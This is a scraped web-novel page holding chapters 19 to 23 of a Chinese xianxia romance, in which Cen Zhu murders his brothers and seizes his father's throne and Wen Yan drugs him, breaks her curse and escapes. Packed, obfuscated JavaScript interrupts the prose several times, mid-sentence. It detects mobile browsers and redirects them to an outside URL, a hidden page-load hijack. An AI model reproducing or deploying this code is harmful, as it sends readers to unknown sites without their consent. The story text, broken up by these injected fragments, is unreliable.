35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709485|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 岑竹以己度人,一直以为自己的四哥是个韬光养晦以待时机的狠人,没想到岑恪真的是一个受惊的兔子,有风吹草动一下就炸了,他看情势不妙,成为几个皇子中勇于造反的第一人。 魔主刚下令收回了几位皇子手中的部分兵权,兵权尚未转移,心还没有安安稳稳地落到肚子里,就听闻四皇子岑恪起兵造反的消息,气得他当着众多魔将的面摔了手中的折子。 见岑恪直接造反,岑思也不甘落后,毕竟他早就对魔主之位势在必得。 在岑恪誓死不交出兵权,还大张旗鼓地率领手下所有魔兵往魔宫进攻之时,岑思则打着给魔皇护驾的旗号率先入宫。 岑思这么多年的自己多年的辛苦筹谋并非无用之功,今朝终于派上了用场。 表面上是抵御岑恪的狼子野心,实际上在光明正大地将自己的部下渗透进魔宫内部,将魔主身边负责守卫的高阶魔修被侵蚀策反了七七八八,仿佛一个蛀得全是孔洞的蜂窝。 如今局势分崩离析,加上魔主子嗣众多,朝中大臣都在权衡与站队,为各自未来仕途做准备。 在这样局势不明的时候,魔主终于想到了昔日里最听话的小皇子岑竹。 但被视为救命稻草的岑竹却并不觉得自己能力挽狂澜。 在他看来,自己反而是压垮现况的的最后一根稻草。 岑恪这么多年游荡花丛,带兵作战完全是纸上谈兵,在他带着手下魔兵大举入侵魔宫宫门的时候,被早早得到消息守在此处的岑思上前拦下。 岑思坐在着凶猛残暴的魔兽之上,大笑一声:“皇弟,没想到你这个看起来只对女人感兴趣的家伙,也会与我争夺魔主之位。” 岑恪讥讽回去:“魔主之位谁不想要,难道你不要?你若不想要,就别在这儿拦我,显得太假惺惺。” 话不投机,岑思收了笑,对身后魔军下令开战。 岑思多年穿梭于朝堂,即使没有潜心研究军事,也比岑恪这个绣花枕头要精通得多,很快便将他拿下,用绳索绑了,亲自押着他去见魔主。 魔主肃立在魔宫大殿最上方的龙椅上,已经看到了即将靠近大殿的魔军队伍。 两个皇子,一个是拉在地上拖行的阶下囚,一个骑着魔兽姿态懒散,身后是穿戴着黑鳞甲胄如黑云压城的魔军。 魔主见状脸色阴沉,整个魔宫里都弥漫着沉闷可怖的气压。 原因无他,眼前一片下跪的臣子平日里耍笔杆子都很厉害,但实际作战没有一个能打的,境界高的那批武将被各方拉拢,早就起了异心。 魔主并不想在这个时候看见岑思。 却没想到岑思人影一闪,下一秒,魔主的脖颈处多了一柄寒光闪闪的弯刀。 众人皆知,二皇子岑思一手弯刀使得出神入化,连魔力与修为境界也是魔主所有子嗣中最强的一个。 魔主感觉到脖颈上的凉意,惊讶后便是暴怒:“孽障!我本就属意你继承我的位子,你就非得做到这个地步吗?” 岑思生了一张白净面庞,此时笑得尤为温文雅:“可是我族寿命绵长,我等不了那么久了啊,父皇。” 魔主对最属意的皇子失望透顶,高声唤岑竹救驾。 几个儿子中,岑恪是个草包,岑思急功近利,只有岑竹这个小儿子心思玲珑,却是最难以掌控的,但至少还能一用。 若非几个儿子为了争权闹到这个地步,他并不想让岑竹参与进来。 岑竹在魔主的怒喝中不紧不慢地现身,眉眼冷冽,气势暴涨,威压十足,漆黑骨剑唰地一声出鞘。 他从容微笑:“父皇放心,儿臣这就为您清除叛军。” 如今岑竹血脉返祖,加上这段时日不眠不休地修炼,烈性药物的催化与滋养,他的修为已经逼近化神,往后不可估量。 魔主将他当做一把好用的刀,刀锋所至之处,皆为臣服。 可刀也会长出反骨,不再听话。 ——当它失去刀鞘的时候。 骨剑一出必定收割性命,岑竹所在之处生机尽灭,他就仿佛地狱而来的索命修罗。 随后魔主眼睛瞪大,看见了此生难忘的一幕。 以前的风言风语魔主自然知晓,但他不认为岑竹能凭自己就杀了岑枢与岑御。 没想到骨剑手起刀落,鲜血喷薄而出,染红了朝堂,魔主亲眼看见另外的儿子全都死于岑竹剑下。 滚烫的鲜血顺着他手中漆黑的刀刃无声流下,岑竹用袖口擦拭手中浸透了血迹的骨剑,唇角微勾,抬眼看向魔主。 他启唇轻唤:“父皇,母妃已死,若还有人前来刺杀……” “您说,这回还有谁能为您挡刀呢?” 20. 第 20 章 魔主一共有五个皇子,如今岑竹手起刀落,丝毫不拖泥带水,凭一己之力杀得只剩下自己一人。 ——也是唯一能够继承皇位的皇子。 岑竹身姿挺拔地站在大殿之下,纵使身居低位,却悠然闲适,丝毫不惧。 往日里只会耍笔杆子的大臣们看着地上滚落的两颗皇子头颅,再看着岑竹手中的骨剑,脸上表情瞬间空白,几乎都惊呆了。 生怕那把诡异莫测的剑锋下一秒就会落在自己头上,心中只有一个念头:不知道这时候归顺五皇子还来不来得及。 魔主虽已年迈,当年也是在一众皇子中脱颖而出,虽心中震动,却仍淡定大笑道:“你倒是说说,谁敢杀我?” 岑竹握刀,鬼魅一般原地消失,再出现,漆黑刀锋已对准魔主的魔魂。 “我敢啊。” 魔主在同一日内接连被三个儿子夺权篡位刀刃相向,如今心中只余自嘲一般的冷笑。 “这么多年,我如何待你,你就这么回报我的?” “您如何待我,我自然一清二楚。” 这些年他被当成雀鸟一样养在魔宫中,所有人都说五皇子是最受宠爱的皇子,但宠爱有用吗? 没有自保的能力,最后的下场就是被轻易抹杀。 岑竹看了看身后,用手指着他们的头颅:“若非运气,我早已和我这两位哥哥一样。” 魔主面色难看,偏过头勉强开口:“你是我最后一个皇子,若及时回头,先前那些事我不会再追究。” 确实可以不追究,先哄着他,再让后宫妃子生下新的皇子,等到皇子长大,逐渐蚕食他手中筹码,就能顺理成章地把他给废了。 岑竹不想听魔主虚情假意的承诺,直接挑明:“可我要追究,毕竟,我们之间的账还没算完。” 魔主额上青筋直跳,压低声音直呼其名:“岑竹,你不要太得寸进尺。” 岑竹仰头迎着他的目光,毫不回避:“您对母妃所做之事,由我如数奉还,怎么会是得寸进尺?” “今日两清,再好不过。” 他父皇真的是年纪大了,作为魔域最高的掌权者,用宠妃挡掉仙盟的暗杀,妄图制衡脱离掌控的皇子。 结果一切都濒临失控。 这难道不是个天大的笑话? —— 岑竹终于坐上了无数人梦寐以求的魔主之位。 母妃死后,岑竹心里只有复仇。 但有些事情,只有坐上这个位置并切实地拥有权力后,才能顺理成章地着手去做。 比如以悼念之名,下令将母妃生前富丽堂皇的寝宫打造成一座密不透风的牢笼,并将前任魔主、自己的父皇关押进去。 为了继承魔主之位且不落旁人口实,岑竹还逼着魔主亲笔写下了传位诏书。 从今往后,他的父皇会一直被关在专门为他打造的特殊牢笼中,直至魔力消散死去。 这个过程会非常地漫长。 痛快的死亡反而是解脱,只有让魔主失去最在乎的权力,一直痛苦地活着,无法决定自己的生死,才是他的报复。 岑竹不需要他忏悔、赎罪,只需要他活着,并为此痛苦就可以了。 之后,岑竹花了很大的精力追查来魔宫刺杀的那批仙盟之人的下落。 刺杀魔主的计划并非天衣无缝,那日刺杀魔主计划失败后,仙盟的先锋队死伤大半,各自分散。 当初齐飞墨听说合欢宗被屠宗的消息,又接连听说温言失踪之事,内心焦灼,不顾桑纯的劝阻,执意加入了仙盟组织的先锋队并参与了刺杀魔主的计划。 成为了其中的一员。 修仙者并不适宜长期生存在魔域,对魔域的基本了解也是诸多修仙者冒死离开后凭借记忆拼凑出来的。 仙盟给先锋队的魔域地图只描绘了魔域的大概的地形和魔宫的基本方位,一行人好不容易到达魔宫后,地图就再也不能寄予任何指引了。 在敌明我暗的情况下,为避免灵力消耗得越来越多,整个先锋队经过讨论,决定在最短的时间内以最快的速度发起一场突袭。 从结果来说他们确实打了个措手不及,但是并没有达到预期的效果。 在千钧一发之际,魔主将身边的女子捞过来做了自己的挡箭牌,或者说替死鬼更合适。 齐飞墨眼睁睁地看着仙盟苦心准备的必死一击在一个美艳的宫装女子的身上,重伤,却不致死。 切身领略到了魔主的诡谲狡诈。 他们还是小看了魔族对法术的抵抗能力,也低估了魔族身体的强悍程度。 一片混乱中,齐飞墨与幸存下来的人分头逃跑,这次的计划已经败露,又与其他人走散,他只能先行保命。 齐飞墨在脑中补全魔宫的大致地图,好不容易摸出宫外,几近迷路之时,看见了另一座恢弘的宫殿,想来是魔族的重臣居所,便潜入进去,想着先行打探些消息。 他一路摸索着躲避守卫的巡逻,摸到了一个看起来像是书房的所在,趁着夜深人静,悄无声息地打开窗户翻身而入,轻灵地仿佛一阵风。 落地的瞬间,齐飞墨却蓦然发现房间有熟悉的灵力波动。 屋内漆黑一片,在榻上修炼的温言慢慢睁开了眼睛。 早在齐飞墨碰到窗户的瞬间,就已经触动了温言布置的隐形禁制。 禁制四面八方无处不在,温言就像是在无数透明丝线上巡视领地的王。 若今日遇见的是别人,可能早在开窗的那时就已经被悄无声息地收拾掉了。 她抬头对上齐飞墨炙热又难掩激动的目光,顿时想到了齐飞墨药铺治伤的那段时日,一时间有些尴尬。 温言那时很果断地拒绝了他的喜欢,没想到再次见面的时候,会是在魔域新任魔主的府上。 幸好岑竹刚刚登上魔主之位,需要处理的事情实在太多,还没顾得上这里。 这些时日温言抓紧修炼,离元婴只差一线,还是她极力压制的结果。 温言从榻上起身,挥手关上窗户。如今魔域动荡,危机重重,齐飞墨却在此时出现,着实奇怪。 她看着风尘仆仆的齐飞墨,疑惑不解:“你怎会来到魔域?” 齐飞墨没想到自己会在走投无路的时候,见到这么多天一直思念牵挂的人。 心中一时激动,几乎脱口而出自己是为她而来。 幸好在最后关头克制住了,只是用目光一寸寸描摹,仔细地端详着面前的女子。 “仙魔大战即将开始,仙盟组织了一批先锋队来魔域查探情况,我也随着一起来了。” 至于他参加的原因,只字未提。 齐飞墨看着温言蹙眉的表,试探地走近一步,眼神中带着担忧:“当初你下落不明,是意外落到魔域了吗?” 温言含糊点头,并未说明原委,只让齐飞墨快些离开。 可齐飞墨性子轴,还有些认死理,死活不愿离开,还说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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房门自外向内缓缓打开,来人踏入其中,还未及现身就已压迫感十足。 温言收了神识窥探。 与五皇子时的服饰不同,如今岑竹已经成为魔主,衣着更加华丽繁复,眉眼威严,眼尾上挑,却非含情,而是睥睨天下的自信。 他看向温言,长眉微挑,目光深不可测。 果然是他。 温言率先开口:“今日五皇子怎么有空过来?” 桌案下的齐飞墨暗中握紧了拳头,微微蹙眉,心想五皇子是谁? 岑竹还未回答,身侧的密探上前一步,护主意味十足:“住口,怎能如此对魔主说话。” 温言淡淡看向岑竹。 岑竹沉声制止道:“无碍,她是例外。” 这道声音太过熟悉,齐飞墨听得直挑眉。 他永远忘不掉当初在药铺里的时候,岑竹对温言当时虎视眈眈的目光,以及在暗处给自己使绊子时游刃有余的模样,让人气得牙痒痒的语气语调。 可他先前刺杀的时候,明明看见魔主是另一个人。 这才过几日,岑竹就成了新任魔主? 那他的身份温言知道吗?若是知道还收留他,不是早早地给自己埋下祸根吗? 一时间齐飞墨脑中无数想法乱飞,几乎打结。 21. 第 21 章 自从魔域加大了对行刺前任魔主之人的搜查力度后,接连有仙盟刺客被抓获,如今只剩下最后一人下落不明。 近日有密探追踪到此人痕迹,一路寻去,却发现此人进入了现任魔主从前的府邸,不敢贸然闯入,于是先回魔宫禀告魔主再做定夺。 岑竹刚刚即位,处理各项事务分身乏术,一晃眼就已经在魔宫里呆了很多日子。 听说有刺客闯了自己的府邸,顾及到温言的安危,岑竹未曾多想,回府后的第一件事就是去找温言。 他沿着熟悉的路顺畅无比地来到原来的书房门口,站定,修长的手指探出,碰到了薄薄一层门板。 深色的漆面冰凉,岑竹指尖微动,却并未立刻推门而入,仿佛被这些许的凉意惊醒。 月光逆着他的后背投下影子,岑竹睫毛轻颤,忽然意识到时值深夜,温言说不定已经睡下。 而等到他意识到这一点的时候,已经进退两难。 属下全都沉默整齐地跟着他,没有一个敢质疑他的行为,只会遵从他下达的任何命令。 外面夜深露重,月华如霜。 温言是他的阶下囚,被他关在这方寸之地,隔绝外界所有的窥探,就像是一个被珍藏着舍不得拿出来的宝贝。 他的珍藏之人此时就在屋内,与他之间只有一扇门的距离。 岑竹却在此时游移不定了。 上次不欢而散后,他接连与兄长斗,与父皇斗,直至取得最后的胜利,成为魔主,接连而来的是处理不完的事,杀不完的人,更加筹谋深远的局。 这样一算,他已经许久没有见温言,也不知她这段时间如何。 犹豫片刻,岑竹垂下眸子,终是推了门抬脚进入。 他的心已经给他指了路,无论如何,得看一眼她再走才能放心。 —— 屋内并未点灯,岑竹打了个响指,所有灯盏齐齐亮起,在跳跃温暖的火光下,他一眼便看到了温言。 大约是夜晚,她用玉簪随意束了些长发固定在脑后,耳边长长的碎发滑落在颈侧。 明明是清秀的长相,反而在昏暗的灯光下愈发衬得容色清艳,是与往日截然不同的感觉。 岑竹分明听见自己的心漏跳了一拍,逐渐紊乱。 温言看向岑竹,面上并无半分意外。 她早就听见门外的声响,再说毕竟是她占用了岑竹的书房,他何时回来,都是理所应当的。 烛影晃动,灯下两人四目相对,久久无言。 温言最先打破僵局,随意问了一句:“今日怎么有空过来。” 很寻常的一句话,却让岑竹心中隐秘的期待情绪倏然落空,心底大片的失望铺散开。 他原本想说只是来看看你,话到唇边,却临时改成了公事公办。 “最近下令捉拿的逃犯逃进了府里。” 温言幅度很小地点了点头,表示自己知道了,随后道:“劳烦魔主了,那……现在搜查结束了吗?” 岑竹挑眉。 她不喊他的名字的时候显得非常生疏,令人不适。 再说这是他的府邸,她反客为主不说,这是,赶他走的意思? 岑竹因为出众的容貌,哪怕从前修为不高,也自小就受到优待,但凡是他提出的一些小要求,基本都会被满足,更是无时无刻都在受到众人关注和赞叹。 这还是他第一次在自己的宫里收到逐客令,这个人偏偏还是他曾亲口承认过的心上人。 有些新奇,有些难以置信,还有些可笑。 岑竹的目光逐渐冷下来,他逡巡过整间屋子,不紧不慢道:“别急,一切才刚开始,你这里是看押囚犯的重要场所,自然更要仔细检查。” 温言退后两步,垂下眼睫,眸中闪过一丝焦虑与担忧。 再待下去,她怕齐飞墨露馅。 齐飞墨是个爱恨都写在脸上的人,脾气冲动却又性格单纯。 难怪桑纯总是将他护得严严实实的,他脾气上来的时候真的容易闯祸。 只是不知道为何这次桑纯竟会让步让他来到魔域,这无异于送死。 自岑竹魔族血脉返祖后,修为增长的速度太过可怕,就算她突破了元婴期也不是他当下的对手,齐飞墨性子过于刚正,温言只盼他千万别与岑竹对上才好。 齐飞墨此时老老实实地蹲在桌下隐匿身形,他虽然冲动,脑子还是聪明的,知晓好好藏匿才是上策。 只是在这命悬一线的时刻,他的心神却仍是不由自主地被他们的对话牵着走。 尤其当他听见囚犯两个字,额上青筋忍不住跳动,心口一股不平之气激动难抑。 岑竹温言当时为岑竹医治的时候尽心尽力,尽管两人立场不同,旧日的恩情却是存在的。 现在温言落入魔域,岑竹身为魔主,竟然欺负温言到这个地步,还称她为阶下囚。 在齐飞墨看来这无疑是恩将仇报,他打定主意一定要带温言离开这里,无论付出任何代价。 岑竹如今血脉返祖,五感远超从前,环顾四周,目光落在朝南的窗户那侧,竟当真发现了一些蛛丝马迹。 他唇角噙着一抹笑意,不紧不慢地踱步过去,果然发现了些有趣的线索。 虽说窗沿已紧紧关上,边缘却擦上了道极浅的印记,大概是有人翻窗时留下的。 但他早已下令不许随意进入此间房屋,又有什么人会从窗户进来? 答案很明显,他却想让温言自己回答。 岑竹再次看向温言,这次的目光里不由得带了些探究,以及若有似无的试探。 “我不会放过当日杀了我母妃的那批刺客,但全魔域搜捕他们,其实还有另一层原因,你可知晓?” 温言摇头。 岑竹接着道:“因为他们自仙盟而来,你有没有想过,说不定一部分人是为你而来的呢?” 对于他的试探,温言避而不答。 她被囚禁在魔宫中,根本没有与外界联络的渠道,更何况仙盟只知道合欢宗被屠宗。屠杀后的宗门一片混乱,究竟哪些弟子死了,哪些弟子失踪了,根本无从查证。 岑竹缓步走到窗前,伸手拂过上面细灰,捻了捻指尖:“我再问你一次,你最好如实回答,别再伤我的心” “告诉我,是不是有人来过这里。” 齐飞墨与岑竹一前一后地过来,这一切发生得太过巧合,且岑竹五感敏锐,应该是已经发现了一些痕迹。 若是瞒,又能瞒多久? 温言心中叹气,走到桌前拨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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和穿戴华贵的岑竹相比,齐飞墨简直如同在珍珠映衬下的鱼目。 岑竹站在原地,对着张开双臂的温言勾了勾唇,发出一声稍显愉悦的轻笑。 “怎么,你怕我对他做什么吗?” 岑竹如今的反应都早已超出温言熟悉的范畴,她大概猜到他为何生气,却完全不懂为何他在见到齐飞墨后还能笑得出来。 于是温言摇了摇头:“无论如何,你不要伤害他。” 岑竹像是听见了分外好笑的笑话:“你是在命令我吗?” “是请求。” “可你别忘了,连你自己都是我的阶下囚。” 温言当然清楚自己在魔域的身份,更加清楚他们之间的仇恨是确实存在的。 只是岑竹实在言行不一。 他对身为阶下囚的她处置得太过宽容了,偶尔温言会觉得他是嘴上想要报复,却又下不了手。 她能感觉到,岑竹的心底总还是留了些柔软的地方。 这也是除了解除诅咒外,她一再拖延时间,压制修为的原因之一。 但温言忘了,岑竹会对他心存柔软,对别人却是未必。 22. 第 22 章 齐飞墨看到温言挡在前面的身影,心中一动,却并没有自负到认为她如今仍心系自己,到不顾自己的安危。 温言确实不是为了他,而是因着桑纯的关系,尽量护着齐飞墨周全。 只是她不说,齐飞墨不会想到这一层。 岑竹更不可能知道她的心思以及背后的动机。 温言这样直白地护着另一个人,岑竹是第一次见到,绵长的爱恨与与长久积累的情绪交叠,几乎冲垮他的理智。 齐飞墨看不懂岑竹的情绪,不知道他已经在理智崩塌的边缘,自温言身后拽了她的袖子,想要说些什么。 齐飞墨不知道如今岑竹的修为与五感远在他们二人之上。恰巧,岑竹如今最看不得的,就是他们两人拉拉扯扯。 只听唰地一声,骨剑出鞘,闪着森森的冷光。 他提剑指着齐飞墨:“她在我面前保你,你却非要找死,是吗?” 岑竹的威压太过强大,齐飞墨几乎被压弯了肩膀,额上渗出细密的冷汗,却仍是一声不吭。 两人僵持着,或者说,都在等着一个答案。 一片寂静中,温言垂眸不语。 任何回答都会激化矛盾,如今他们相互敌对,丝毫不让,她只想拖延时间。 拖延到……药效发作的那一刻。 寂静深夜,岑竹身后的侍从忽然脑中一晃,意识不清,连带着手中所握的武器噼里啪啦地倒了一地。 岑竹是最后一个药效发作的,他勉力用剑撑着身体,魔力在体内运转,疯狂冲击着被压制的经脉,眼神死死地盯着温言。 因冲击过重,他唇角溢出血迹。 温言提醒他:“这并非毒药,只是会让你全身麻痹半个时辰,最好别强行调用魔气,否则会损伤经脉。” 岑竹不知道温言是何时开始下药的,但仍一字一句道:“你若是走了,诅咒也将纠缠你到天涯海角,你是逃不掉的。” 温言不语,从袖中摸出一把小刀。 这把刀的形制十分眼熟,岑竹眸中渐渐暗了下去,显然想到了不好的回忆,难以置信道。 “你还想杀我一次?” 温言面无表情地托起岑竹的手指,刀刃雪亮而锐利,鲜血流下滴入瓶中时,甚至连痛觉都还没有起效。 她这时才回答:“我只是想要解咒。” 如红宝石一般剔透的血珠从指尖流出,指尖处蔓延出丝丝的疼痛,岑竹心中也逐渐空了似的。 温言一向聪明,这么快就发现他的血液可以用来解咒,那么这次取血之后,她还会再见他吗? 他不知道。 收集完所需的血液,温言仔细地在岑竹指尖的伤口处洒下愈合药粉,并缠上了雪白的绷带。 收好了瓷瓶,温言有些愧疚地后退一步,对岑竹说了句:“抱歉。” 岑竹别过头。 他不需要这样的歉意。 只要铲除所有的意外因素,杀了一心想要带温言离开的人,确保她依旧会留在自己的身边就好。 岑竹再次看向齐飞墨,眼中的杀意仿佛浓雾一般弥漫开来。 下一刻,整间书房开始颤动变形,一个巨大的光球缓缓在半空凝结,光球后紧跟着无数光点,准确无误地往齐飞墨所在之处砸去。 无数光球仿佛雨落,齐飞墨原地滚了一圈,避过了第一颗光球,却没避过后面的。 这种光球实际上是高浓度的魔气,用来防御窥伺的敌方,没想到今日就派上了用场。 齐飞墨东躲西窜,勉强支开了屏障又被光球上澎湃的魔力毫不留情地打碎,部分光球砸在他身上后猛然炸开,仿佛硫酸一般,烫得他倒吸了好几口冷气。 温言距离齐飞墨只有很短的距离,同是修仙者,光球却像是长了眼睛一般,丝毫不理会温言,只追着齐飞墨打。 岑竹下手毫不留情,显然是把齐飞墨往死里整,温言蹲下拉了拉岑竹的袖子,仿佛在示弱。 岑竹扶着剑柄,抬头看她,被下药后产生的麻痹感仍在一波波地袭来,他摇摇欲坠,却始终支撑着身体未曾倒下。 那双漂亮的紫色眸子中只有温言一个人的倒影,缠绕着波涛汹涌的情愫,深情又绝望,令人心惊。 温言思忖片刻,开口道:“是我自己想要离开魔域,你不必拿齐飞墨出气。” 岑竹的目光一寸寸描摹过温言的面庞,像是要将她记在心上,又像是要吞她入腹,再不松手。 “你又骗我。明明你答应过我要陪着我,为什么又要离开?” 自在窗台发现了脚印的痕迹,岑竹的心底就开始涌动不安的情绪,这样难以言喻的情绪在让齐飞墨出现的刹那达到了顶峰。 岑竹终于明白自己的忐忑不安从何而来。 因为他感觉到了双重的背叛。 他平生只将两个人放在了心尖上,一个是母妃,另一个就是温言。 如今软肋之一已经不在人世,岑竹就像一个溺水的求生者,死死地抓住了仅存的希望。 他觉得只要温言还在身边,自己的心就不会漂泊无依。 岑竹刚刚成为魔主,正是意气风发之际,本以为天下在手后能实现自己所有的念想,没想到温言不但不理解他,否定他,在他眼皮子底下公然藏匿齐飞墨,还认真地说出要离开他的话。 长久以来的执念刹那间被动摇。 岑竹缓缓抬眸,长睫一颤,眼尾便多了一抹嫣红。他不禁怀疑,也许从前温言待自己的那份特殊只是他自以为的错觉。 她是不是真的不爱他? 岑竹本就肤色瓷白,如今眼中浸了泪水,悬在眼眶将落未落,好像将齐飞墨揍得焦黑一片,躲在墙角生死不明的那个人不是他。 温言心中禁不住微微一动,不料再次触发了诅咒。 周身的线条符文骤然扭曲变形,往她皮肤下钻入,熟悉的疼痛传来,温言毫不迟疑的拔开瓶塞,饮了一小口血。 血液缓解诅咒的效果可谓立竿见影。 岑竹像是看到了缥缈的希望,执着地盯着温言,眼尾愈加红艳,仿佛祈求,又仿佛自我说服。 “你看,你还是在意我的。” 温言无情地戳破了他的念想:“但我顾不上你。” 岑竹对自己的需索度太高,可她心中牵挂的不只他一人。 从最开始踏上修仙之路的时候,她心中追求的只有境界。但下山之后,带着杀夫证道的任务身入红尘之中,她改变了许多。 温言希望天下太平,山河无恙,能看遍红尘的春花与秋月,而非如今这般遍地烽火,生灵涂炭,满目疮痍。 普通的凡人不该为野心家的雄图霸业陪葬。 岑竹是她短暂岁月中一朵令人惊艳的花,但她任务在身,没有能力把这朵娇贵的花养好,以至于花朵全身长满了毒刺,拒人于千里之外,只为自我保护。 温言感到为难。 她无法靠近他,也没法劝他拔出身上的刺。 温言知道她与岑竹不是同一路上的人,两人互相没有信任,只有本能的靠近,反而会让他们之间的误会越来越深。 岑竹得不到想要的完整的爱,她也得不到生而拥有的自由,长此以往,必然走向对立,或者一起毁灭。 即使她继续勉强留在魔域,无论对岑竹还是对自己,都是不公平的。 想到这里,忽然心中释然,一直犹豫留情的那根弦终于断了。 温言闭目仔细感受,仿佛骤然间卸下了肩上的重担,仿佛随风而起的花瓣,整个人都变得轻盈起来。 漆黑夜色中,忽然降下一道刺眼金芒。 温言识海中最后一朵合欢花轻盈落下,伴着狂风呼啸,天地变色,千万朵合欢花自各处汇聚而来。 储物袋中小山一般的灵石瞬间碎成齑粉。 魔域中本没有合欢花,而是充盈的灵气幻化出的。 红色的合欢花热烈如火,于半空中飞速旋转融合,最终幻化成一枝沾着露水的合欢花枝。 枝上的花瓣娇艳欲滴,仿佛新折的一般。 温言逐渐被灵气托起,浮于半空,腰间挂着的弟子牌也一并漂浮起来,缓缓停在温言身前。 合欢花枝轻轻一点,荡出层层光圈涟漪,而后逐渐变得透明,一点点地没入弟子牌中,与玉牌融为一体。 温言感觉脑中轰然一声,发觉与宗门任务之间的感应被切断。 她后知后觉地想起,并非切断,而是宗门任务在彻底完成后自行脱离。 体内的经脉无比畅通,汹涌的灵气肆虐而入,自行往四肢百骸涌去,荡涤经脉中淤塞已久的杂质。 无数灵气涌入着她干涸枯竭的经脉,一点点将其抚平,充盈,像一条注入了新的水源后涓涓流淌的溪流,重新焕发了生机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745657|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 温言感到全身都在发烫,甚至在微微颤抖,却又像泡在温水中一般温暖熨帖。 气息几经变换,威压层层拔高。 浩大的雷劫破空而下,雷声滚滚,绵延不绝,蛛网般的雷闪瞬间照亮了整片如墨汁般浓稠的天空。 如此声势浩大又骇人的雷劫,并非元婴期,而是是化神期的雷劫。 岑竹眉目冷凝地站在这片灵力暴动的漩涡之中,盯着天幕上瞬间而至的雷闪,心神大震。 那日合欢宗重遇,他感觉到温言的修为大概到了金丹期,与先前相比有了些提升,岑竹下意识以为这就是是温言的任务完成后的天道奖励。 天道绑定的宗门任务不过如此,也值得她用尽心机,机关算尽? 实在可笑。 却不曾想,温言的任务一直并未完成,直到此刻才心境通透,达到完成任务的条件。 岑竹不敢细想她将任务一直拖延至今的原因。 温言站在雷劫最中心处,头上的玉簪已经碎成了两半,如墨的长发随意散开,仿佛一朵盛开到极致的花。 她忍着神魂被凌迟的痛楚抗下一道道雷劫,身边的灵石碎渣堆得越来越多,法器也已经碎了不知道多少个。 直至最后一道雷闪带着炫目的白光,挟惊天之力劈下,彻底淹没了她的身影。 滚滚烟尘中,因渡劫产生的灵力乱流逐渐平息,温言悬浮于半空中,闭眼忍受着灵力灌体的痛苦,直至体内灵气渐趋稳定,在经脉中缓缓运转。 她的修为如今提升到了一个极为可怕的层次,整整两个大境界加一个小境界,直接从不稳定的金丹初期直接跨越到了化神中期。 连温言自己都没想到宗门任务的天道奖励竟如此霸道。 岑竹是魔修,而且是难得一见的血脉返祖,自不会抗拒走一些捷径,但与温言的进境相比,仍是逊色了一筹。 电闪雷鸣的异象逐渐散去,泛着银光的虚空逐渐闭合,天地骤然安静下来。 云开雾散,清辉满地。纵使深夜,仍是落下了霞光万道。 岑竹被药物所制,此时也终于消减了几分药性,恢复了些能调用的魔力。 岑竹第一次认识到,合欢宗的天才,原是这样地厚积薄发,惊才绝艳,温言挣脱了他的束缚回到了天上,就会像明月一般高高在上,不染凡尘,光芒万丈。 心中浓重的负面情绪又卷土重来,充斥着他的五脏六腑,他的胸口起伏不定,连呼吸都分外费力。 万千霞光中,温言脚尖轻点,缓缓落地,弯腰抱起了气息虚弱、满身魔气的齐飞墨。 在杀夫证道任务的完成后,温言心境也随之达到了一种非常微妙的状态,先前充斥在心中的各种情绪都好像被隔开。 无论是对岑竹的喜爱怜惜,还是对齐飞墨的担忧保护,这些情绪都仿佛被钝化了,再次回想的时候,仿佛隔岸观火,朦胧不清。 如今就算没有岑竹的血液作为解药,她身上的诅咒大概也不会发作了。 与此同时,岑竹感觉到自己与温言之间通过诅咒建立的联系在逐渐变淡,快要脱离掌控。 他失神地仰头望着温言,眼中满是血丝。 即使岑竹已经恢复了些修为,但他无法阻挡如今已是化神期的温言。 但他还是不死心地问:“你真的要走吗?” 温言怀中抱着齐飞墨,很轻地点了点头。 岑竹狼狈地用袖口擦了擦脸,好像一枚在暴风雨中揉乱成一团后,湿漉漉的花瓣。 临别之际反而流露出一点真实情绪:“能不能不要留下我一个人。” 可温言摇头。 岑竹眼眶更红,瞪着被温言抱着的齐飞墨:“公平为上,你也不要带上他。” 他的要求总是这样让人为难。 温言一手捞着齐飞墨,然后靠近岑竹,另一只手划过他魔魂所在之处。 她指尖如刀,用力戳在了他的魔魂位置,却只在他衣服上划出一个浅浅的褶皱。 语气温柔却又无情至极:“你真的觉得当初是因为自己命长,才能被属下救走,没死在我手里吗?” 真相温言早就说了。 他当时不信,现在是否信了? 岑竹顺着她的力道忍不住后仰,差点摔在地上。 他因这句话陷入了短暂的混乱,再回神时,温言已消失在原地。 23. 第 23 章 温言隐匿身形离开魔域后,打算先回去找到桑纯再从长计议。 她给齐飞墨服了些恢复元气的丹药,等到桑纯那儿再处理他的外伤。 齐飞墨在一片颠簸中睁开了眼睛。 